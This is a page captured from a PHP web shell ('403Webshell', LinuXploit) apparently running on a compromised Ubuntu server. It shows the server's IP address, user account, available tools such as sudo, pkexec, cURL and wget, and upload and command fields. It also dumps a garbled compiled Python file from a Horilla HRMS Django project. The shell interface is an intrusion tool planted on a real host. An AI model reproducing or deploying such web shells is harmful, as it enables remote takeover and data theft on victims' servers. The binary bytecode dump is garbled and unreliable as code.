403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/horilla/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/horilla/__pycache__/models.cpython-310.pyc
o

hͦhv
�@s�dZddlmZddlmZddlmZddlmZddl	m
Z
ddlmZddl
mZdd	lmZed
e
fdd��Zee
de�Gd
d�dej�Zejedd�dS)aX
models.py
=========

This module defines the abstract base model `HorillaModel` for the Horilla HRMS project.
The `HorillaModel` provides common fields and functionalities for other models within
the application, such as tracking creation and modification timestamps and user
information, audit logging, and active/inactive status management.
�)�AuditlogHistoryField)�auditlog)�User)�models)�	FieldFile)�reverse)�gettext)�_thread_locals�selfc
CsHz|��Wnty}z
td�WYd}~Sd}~ww|j�|j�S)z'
    Custom url attribute/property
    �404N)�
_require_file�	Exceptionr�storage�url�name)r
�e�r�/var/www/erp/horilla/models.pyrs��rc	s�eZdZdZejddded�d�Zeje	ej
ddded�d�Zeje	ej
ddded�d	d
�Ze
�Ze��Zejded�d�ZGd
d�d�Z�fdd�Zedd��Zedd��Z�ZS)�HorillaModelz
    An abstract base model that includes common fields and functionalities
    for models within the Horilla application.
    Tz
Created At)�auto_now_add�null�blank�verbose_nameFz
Created By)�	on_deleterr�editablerzModified Byz%(class)s_modified_by)rrrrr�related_namez	Is Active)�defaultrc@seZdZdZdZdS)zHorillaModel.Metaz-
        Meta class for HorillaModel
        TN)�__name__�
__module__�__qualname__�__doc__�abstractrrrr�MetaGsr"cs�ttdd�}|r6|j}t|d�r-t|j�d�d�r-|j�d�jtkr-|r-|js-|j	r-||_
|r6|jjs6||_t
t|�j|i|��dS)z�
        Override the save method to automatically set the created_by and
        modified_by fields based on the current request user.
        �requestN�
created_by�
related_model)�getattrr	�user�hasattr�_meta�	get_fieldr%r�pk�is_authenticatedr$�is_anonymous�modified_by�superr�save)r
�args�kwargsr#r'��	__class__rrr0Ns��
zHorillaModel.savec
Cs@z|jj|d���}|WSty}zWYd}~dSd}~ww)z9
        Find an object of this class by its ID.
        )�idN)�objects�filter�firstr
)�cls�	object_id�objrrrr�findfs��zHorillaModel.findcCs(|�|�}|r|j|_|��dSdS)zI
        Toggle the is_active status of an object of this class.
        N)r<�	is_activer0)r9r:r;rrr�activate_deactivaters


�z HorillaModel.activate_deactivate)rrrr r�
DateTimeField�_�
created_at�
ForeignKeyr�SET_NULLr$r.r�horilla_history�Managerr6�BooleanFieldr=r"r0�classmethodr<r>�
__classcell__rrr3rr%sD��	�	
rT)�serialize_dataN)r �auditlog.modelsr�auditlog.registryr�django.contrib.auth.modelsr�	django.dbr�django.db.models.fields.filesr�django.urlsr�django.utils.translationrr@�horilla.horilla_middlewaresr	�propertyr�setattr�Modelr�registerrrrr�<module>s
X

Youez - 2016 - github.com/yon3zu
LinuXploit